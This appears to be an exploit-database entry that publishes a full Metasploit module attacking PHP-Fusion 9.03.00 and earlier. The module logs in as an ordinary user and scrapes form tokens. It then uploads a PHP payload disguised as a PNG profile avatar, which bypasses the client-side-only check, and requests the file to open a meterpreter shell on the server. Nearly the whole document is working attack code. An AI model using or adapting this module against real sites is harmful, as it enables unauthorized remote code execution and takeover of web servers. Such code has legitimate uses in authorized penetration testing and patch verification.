PHP-Fusion 9.03.00 Remote Code Execution

2019.05.14
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => "PHP-Fusion < 9.03.00 - 'Edit Profile' Remote Code Execution", 'Description' => %q( This module exploits command execution vulnerability in PHP-Fusion 9.03.00 and prior versions. It is possible to execute commands in the system with ordinary user authority. No need admin privilage. There is almost no control in the avatar upload section in the profile edit area. Only a client-based control working with javascript. (Simple pre-check) If we do not care about this control, the desired file can be sent to the server via Interception-Proxies. The module opens the meterpreter session for you by bypassing the controls. ), 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module ], 'References' => [ ['URL', 'http://www.pentest.com.tr/exploits/PHP-Fusion-9-03-00-Edit-Profile-Remote-Code-Execution.html'], # Details ['URL', 'https://www.php-fusion.co.uk'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], 'Privileged' => false, 'DisclosureDate' => "May 11 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, "Base PHP-Fusion directory path", '/']), OptString.new('USERNAME', [true, "Username to authenticate with", '']), OptString.new('PASSWORD', [true, "Password to authenticate with", '']) ] ) end def exec res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "images","avatars", "#{@shell}") # shell url }) end ## # Login and cookie information gathering ## def login(uname, pass, check) # 1st request to get fusion_token res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "home.php") }) cookie = res.get_cookies @fustoken = res.body.split("fusion_token' value='")[1].split("' />")[0] # 2nd request to login res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'home.php'), 'cookie' => cookie, 'vars_post' => { 'fusion_token' => @fustoken, 'form_id' => 'loginform', 'user_name' => uname, 'user_pass' => pass, 'login' => '' } ) cookie = res.get_cookies location = res.redirection.to_s if res && res.code == 302 && location.include?('login.php?error') fail_with(Failure::NoAccess, "Authentication was unsuccessful with user: #{uname}") else return cookie end return nil end ## # Upload malicious file // payload integration ## def upload_shell(cookie, check) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "edit_profile.php"), 'cookie' => cookie }) ncookie = cookie + " " + res.get_cookies # gathering all cookie information res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "edit_profile.php"), 'cookie' => ncookie }) # fetch some necessary post data informations fustoken = res.body.split("fusion_token' value='")[1].split("' />")[0] userid = res.body.split("profile.php?lookup=")[1].split('"><i class=')[0] userhash = res.body.split("userhash' value='")[1].split("' style")[0] usermail = res.body.split("user_email' value='")[1].split("' >")[0] # data preparation to delete priv avatar delete = Rex::MIME::Message.new delete.add_part("#{fustoken}", nil, nil, 'form-data; name="fusion_token"') delete.add_part('userfieldsform', nil, nil, 'form-data; name="form_id"') delete.add_part("#{datastore['USERNAME']}", nil, nil, 'form-data; name="user_name"') delete.add_part("#{usermail}", nil, nil, 'form-data; name="user_email"') delete.add_part('1', nil, nil, 'form-data; name="delAvatar"') delete.add_part("#{userid}", nil, nil, 'form-data; name="user_id"') delete.add_part("#{userhash}", nil, nil, 'form-data; name="user_hash"') delete.add_part("#{userhash}", nil, nil, 'form-data; name="user_hash"') delete.add_part('Update Profile', nil, nil, 'form-data; name="update_profile"') deld = delete.to_s res = send_request_cgi({ 'method' => 'POST', 'data' => deld, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{delete.bound}", 'cookie' => ncookie, 'uri' => normalize_uri(target_uri.path, "edit_profile.php") }) # priv avatar deleted. res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "edit_profile.php"), 'cookie' => cookie }) ncookie = cookie + " " + res.get_cookies # recheck cookies res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "edit_profile.php"), 'cookie' => ncookie }) # They changed. fetch again... fustoken = res.body.split("fusion_token' value='")[1].split("' />")[0] userid = res.body.split("profile.php?lookup=")[1].split('"><i class=')[0] userhash = res.body.split("userhash' value='")[1].split("' style")[0] usermail = res.body.split("user_email' value='")[1].split("' >")[0] # The "php" string must be removed for bypass.We can use "<?" pay = payload.encoded.split("/**/")[1] fname = Rex::Text.rand_text_alpha_lower(8) + ".php" @shell = "#{fname}" # data preparation to upload new avatar pdata = Rex::MIME::Message.new pdata.add_part("#{fustoken}", nil, nil, 'form-data; name="fusion_token"') pdata.add_part('userfieldsform', nil, nil, 'form-data; name="form_id"') pdata.add_part("#{datastore['USERNAME']}", nil, nil, 'form-data; name="user_name"') pdata.add_part("#{usermail}", nil, nil, 'form-data; name="user_email"') pdata.add_part('1', nil, nil, 'form-data; name="delAvatar"') pdata.add_part("<?" + pay, 'image/png', nil, "form-data; name=\"user_avatar\"; filename=\"#{fname}\"") pdata.add_part("#{userid}", nil, nil, 'form-data; name="user_id"') pdata.add_part("#{userhash}", nil, nil, 'form-data; name="user_hash"') pdata.add_part('Update Profile', nil, nil, 'form-data; name="update_profile"') data = pdata.to_s res = send_request_cgi({ 'method' => 'POST', 'data' => data, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{pdata.bound}", 'cookie' => ncookie, 'uri' => normalize_uri(target_uri.path, "edit_profile.php") }) location = res.redirection.to_s if res && res.code == 302 && location.include?('error') fail_with(Failure::NoAccess, 'Error occurred during uploading!') else print_status("Trying to upload #{fname}") return true end end ## # Exploit controls and information ## def exploit cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false) print_good("Authentication was successful with user: #{datastore['USERNAME']}") if upload_shell(cookie, true) print_good("Control was bypassed. Harmful file upload successfully!") exec end end ## # The end of the adventure (o_O) // AkkuS ## end


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